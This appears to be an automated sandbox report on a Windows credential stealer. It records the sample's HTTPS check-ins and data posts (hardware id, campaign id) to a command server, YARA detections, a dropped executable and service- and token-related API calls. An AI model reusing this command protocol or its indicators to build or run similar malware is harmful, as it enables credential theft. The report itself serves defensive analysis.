00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-28 07:18:00 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lmog70gfo8v30q19lsk27do40i; expires=Fri, 21 Feb 2025 01:04:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ox6LGal2tHze8sUZ%2BK%2Ba1wkAwTrcz9aWoxYeTJgUJrZRaCLIDCGiHKamXeqLNg5AuuRZDCv4RcIdSPGK7J0PnGrUmMB4VCosjTMDgM6y8Tvq1VOWIEHl6QZjPhlWaly2eedT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9925c69d66ddb1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1138&sent=12&recv=28&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21534&delivery_rate=2498705&cwnd=252&unsent_bytes=0&cid=e18840398a745f15&ts=19374&x=0"
2024-10-28 07:18:00 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 07:18:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49760	104.21.95.91	443	6292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:02 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1244 Host: crisiwarny.store
2024-10-28 07:18:02 UTC	1244	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 43 43 43 38 39 36 37 38 36 35 45 32 44 39 34 30 37 36 34 33 34 38 39 39 36 36 43 31 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"23ECCC8967865E2D9407643489966C17--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49763	104.21.95.91	443	6292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-28 07:18:14 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 32 33 45 43 43 43 38 39 36 37 38 36 35 45 32 44 39 34 30 37 36 34 33 34 38 39 39 36 36 43 31 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=23ECCC8967865E2D9407643489966C17
2024-10-28 07:18:15 UTC	1005	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=33s0lf7mv2i3lhqcdfmtvlhkv7; expires=Fri, 21 Feb 2025 01:04:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Pr%2FEJpbxiTBm3Yl9UYIMOCI2Iza3J%2FqiY42MW5qSgLKUzxsvvMDNB5xOjcpeZOVAQOlPFFhwU88uo5Lh2r6oY8USlhXQa8B7YsezBQIyMOIfydTyNOxyEIShOjsDTiEAOhDn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9926959f102cdb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1289&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=2209000&cwnd=251&unsent_bytes=0&cid=5048409225daf0e9&ts=536&x=0"
2024-10-28 07:18:15 UTC	130	IN	Data Raw: 37 63 0d 0a 7a 33 55 72 31 48 5a 4d 59 52 53 36 6e 52 6a 75 4d 6f 4d 63 45 54 54 47 48 55 2f 30 37 54 4a 55 35 77 39 78 58 4f 35 6f 41 46 61 55 44 67 6d 68 56 48 5a 44 66 4d 37 70 61 4e 52 75 72 45 41 2b 42 66 34 6f 59 63 62 63 42 33 72 57 50 6b 4a 79 33 31 35 63 65 61 41 54 54 59 68 5a 4b 41 52 79 6c 50 68 67 69 78 43 76 50 6e 64 41 35 43 64 2f 32 4d 39 58 64 74 30 2f 44 41 45 3d 0d 0a Data Ascii: 7cz3Ur1HZMYRS6nRjuMoMcETTGHU/07TJU5w9xXO5oAFaUDgmhVHZDfM7paNRurEA+Bf4oYcbcB3rWPkJy315ceaATTYhZKARylPhgixCvPndA5Cd/2M9Xdt0/DAE=
2024-10-28 07:18:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:17:10
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x570000
File size:	3'049'984 bytes
MD5 hash:	59EC0F8F976E6DA1E0D4FE5898A1C909
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2560488144.0000000001030000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2360077632.0000000001022000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2560781455.0000000001031000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2358320175.0000000001022000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2358596283.0000000001022000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:18:20
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe"
Imagebase:	0xd90000
File size:	2'869'760 bytes
MD5 hash:	89595DF1365EF9A4D1CB06E2E56DE5E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00FE81A9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2676816635.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, Offset: 00FD7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_fd7000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction ID: 61d73758effeb2577a589d067fb4214219ef291b463f17af807da2005da80f62
Opcode Fuzzy Hash: f24193477ecd1b712cfbb67819523358227fe270f55fbee1a73888caff6372c4
Instruction Fuzzy Hash: C621F2651092D58FD307CF74D5A4A82BFA1FF8B71639E40DCC9C19F427C2A5A542CB52

Function 010187F0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2360077632.0000000001010000.00000004.00000020.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1010000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: e53372fa5ee4144bcf90a5283d7d4770cdf4f4047c7597c50d1cba950f20ffd4
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Analysis Process: V5GJ8YFILNHAP99OFNDK6O9IE.exePID: 5900, Parent PID: 6292COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	42.9%
Signature Coverage:	14.3%
Total number of Nodes:	21
Total number of Limit Nodes:	0

Executed Functions

Function 00D9B7CE Relevance: 1.3, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!!iH, xrefs: 00D9B93E

Memory Dump Source

Source File: 00000004.00000002.2911587444.0000000000D9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000004.00000002.2911539118.0000000000D90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911555103.0000000000D92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911571264.0000000000D96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911605810.0000000000DA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911699956.0000000000F06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911717612.0000000000F09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911776380.0000000000F34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911792791.0000000000F35000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911810396.0000000000F40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911826051.0000000000F41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911841706.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911858842.0000000000F45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911879257.0000000000F5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911898715.0000000000F6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911915200.0000000000F6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911931582.0000000000F72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911949434.0000000000F7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911965170.0000000000F7F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911980388.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911995883.0000000000F83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912016493.0000000000F9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912034900.0000000000F9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912051790.0000000000FA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912067874.0000000000FA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912084990.0000000000FA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912101787.0000000000FB1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912118222.0000000000FB2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912189589.0000000000FB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912233442.0000000000FC5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912250371.0000000000FCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912268386.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912285653.0000000000FD6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912302355.0000000000FDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912318043.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912336143.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912351329.0000000000FEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912367412.0000000000FEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912383545.0000000000FF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912399972.0000000000FF3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912417188.0000000000FF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912483531.0000000001052000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912500309.0000000001054000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d90000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: b1c4cff14789a7248af6671c78fad44669532913846f2804cbc6ebe32d54e3a8
Instruction ID: f7a277aa5ccfdeec9176fc2b5fac54bfe82dae9cf8ee3c6ecc7096cb210fa937
Opcode Fuzzy Hash: b1c4cff14789a7248af6671c78fad44669532913846f2804cbc6ebe32d54e3a8
Instruction Fuzzy Hash: B9E08C72114485AADF269F60AA017993A09DB44720F914126FA419AE46CB2D4C118BB5

Function 00F21C48 Relevance: 1.6, APIs: 1, Instructions: 111
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00F21C48

Memory Dump Source

Source File: 00000004.00000002.2911738169.0000000000F1E000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000004.00000002.2911539118.0000000000D90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911555103.0000000000D92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911571264.0000000000D96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911587444.0000000000D9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911605810.0000000000DA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911699956.0000000000F06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911717612.0000000000F09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911776380.0000000000F34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911792791.0000000000F35000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911810396.0000000000F40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911826051.0000000000F41000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911841706.0000000000F43000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911858842.0000000000F45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911879257.0000000000F5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911898715.0000000000F6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911915200.0000000000F6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911931582.0000000000F72000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911949434.0000000000F7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911965170.0000000000F7F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911980388.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911995883.0000000000F83000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912016493.0000000000F9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912034900.0000000000F9C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912051790.0000000000FA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912067874.0000000000FA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912084990.0000000000FA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912101787.0000000000FB1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912118222.0000000000FB2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912189589.0000000000FB4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912233442.0000000000FC5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912250371.0000000000FCB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912268386.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912285653.0000000000FD6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912302355.0000000000FDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912318043.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912336143.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912351329.0000000000FEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912367412.0000000000FEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912383545.0000000000FF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912399972.0000000000FF3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912417188.0000000000FF5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.000000000103B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912447948.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912483531.0000000001052000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2912500309.0000000001054000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d90000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b47e7651908191e39ebc7a684745571a57e05272f6ae4903ba2c7ad0c90ac181
Instruction ID: 2f4f6f44670b2d1d919e97dd6b17255758e0c6a243dd106b6d6a40c0c3b0dafd
Opcode Fuzzy Hash: b47e7651908191e39ebc7a684745571a57e05272f6ae4903ba2c7ad0c90ac181
Instruction Fuzzy Hash: B2315DB250C200AFE305AF19EC8177AFBE9FF98721F16492DE7C483650E63558548A97

Function 05200D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05200DCD

Memory Dump Source

Source File: 00000004.00000002.2914275652.0000000005200000.00000040.00000800.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5200000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: fdf2313c726b19a84b85139d83c498c2eb597e9fbd954c1a746cc50a4b52e072
Instruction ID: 80a76202096af0a8370655ef6ff44e5dd2057cba79755de15b6a79256e495e78
Opcode Fuzzy Hash: fdf2313c726b19a84b85139d83c498c2eb597e9fbd954c1a746cc50a4b52e072
Instruction Fuzzy Hash: FA2147B6C112199FDB50DFA9D884BDEFBF0FF88310F14852AD809AB245D774A541CBA4

Function 05200D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05200DCD

Memory Dump Source

Source File: 00000004.00000002.2914275652.0000000005200000.00000040.00000800.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5200000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 28d81a50cfa3e3ffbb456931bcefcbe590f8a2ff8c1272e87cf9e03b2beaa21f
Instruction ID: e30b62c3cbe05fca8632c14fd3c1a995abc4a0930b4a3024d40c1b20775178d9
Opcode Fuzzy Hash: 28d81a50cfa3e3ffbb456931bcefcbe590f8a2ff8c1272e87cf9e03b2beaa21f
Instruction Fuzzy Hash: 5E2147B6C012099FCB10CFA9D884BDEFBF4FF88310F14811AD809AB245C734A541CBA4

Function 05201509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05201580

Memory Dump Source

Source File: 00000004.00000002.2914275652.0000000005200000.00000040.00000800.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5200000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 5e56b9781c85f8f0f47563bd4a1bbea50afb62dc45c0d4286cbabf175c84ae51
Instruction ID: 85a68d0bda8d72897433231ff07a1e3803cbb4ae21394c75980a403672106d7c
Opcode Fuzzy Hash: 5e56b9781c85f8f0f47563bd4a1bbea50afb62dc45c0d4286cbabf175c84ae51
Instruction Fuzzy Hash: E12103B19002499FCB10CFAAD484BDEFBF4EF48320F108429E519A7240D378A644CFA5

Function 05201510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05201580

Memory Dump Source

Source File: 00000004.00000002.2914275652.0000000005200000.00000040.00000800.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5200000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 51040865cc15962bd76fc50974774b33507a0ec9a9234c358d39528e42bc3d53
Instruction ID: d10bfe4799fad6b4dc43267b7ca3a4f21811cdc124feb8265598aa1718bbdc83
Opcode Fuzzy Hash: 51040865cc15962bd76fc50974774b33507a0ec9a9234c358d39528e42bc3d53
Instruction Fuzzy Hash: C411E4B19002499FDB10CFAAC984BDEFBF4FF48320F148429E559A7251D378A644CFA5

Function 05201301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05201367

Memory Dump Source

Source File: 00000004.00000002.2914275652.0000000005200000.00000040.00000800.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5200000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: ab552567637f37dc8d7c86d59f8759f70b8e4a9d9e14e9e0c018f83fd27cb147
Instruction ID: ec8ec5496e9f77b901846830be6cf5a752b30c750df31a93fd9a9ea086331c46
Opcode Fuzzy Hash: ab552567637f37dc8d7c86d59f8759f70b8e4a9d9e14e9e0c018f83fd27cb147
Instruction Fuzzy Hash: B71136B1801249CFDB10DFAAD984BEEFBF4EF49320F24846AD519A3240C778A545CFA5

Function 05201308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05201367

Memory Dump Source

Source File: 00000004.00000002.2914275652.0000000005200000.00000040.00000800.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5200000_V5GJ8YFILNHAP99OFNDK6O9IE.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: cacd5cf60bd97e72466b88a0d8ec289e4965176febd6eaefe51e672f3c942912
Instruction ID: ceb0624ed787374d36953caec4cb8a623e2fd6e9beae2b4eda4bcf753c88fb3f
Opcode Fuzzy Hash: cacd5cf60bd97e72466b88a0d8ec289e4965176febd6eaefe51e672f3c942912
Instruction Fuzzy Hash: A11148B1800249CFDB10CFAAC844BDEFBF8EF48320F14841AD518A3240C778A544CFA5

Function 00F2E2A4 Relevance: 1.5, APIs: 1, Instructions: 33
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00F32D76

Memory Dump Source

Source File: 00000004.00000002.2911738169.0000000000F2B000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000004.00000002.2911539118.0000000000D90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911555103.0000000000D92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911571264.0000000000D96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911587444.0000000000D9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911605810.0000000000DA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911699956.0000000000F06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911717612.0000000000F09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911738169.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911776380.0000000000F34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911792791.0000000000F35000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911810396.0000000000F40000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2911826051.0000000000F41000.00000040.00000001.01000000.00000006.sdmpDownload File
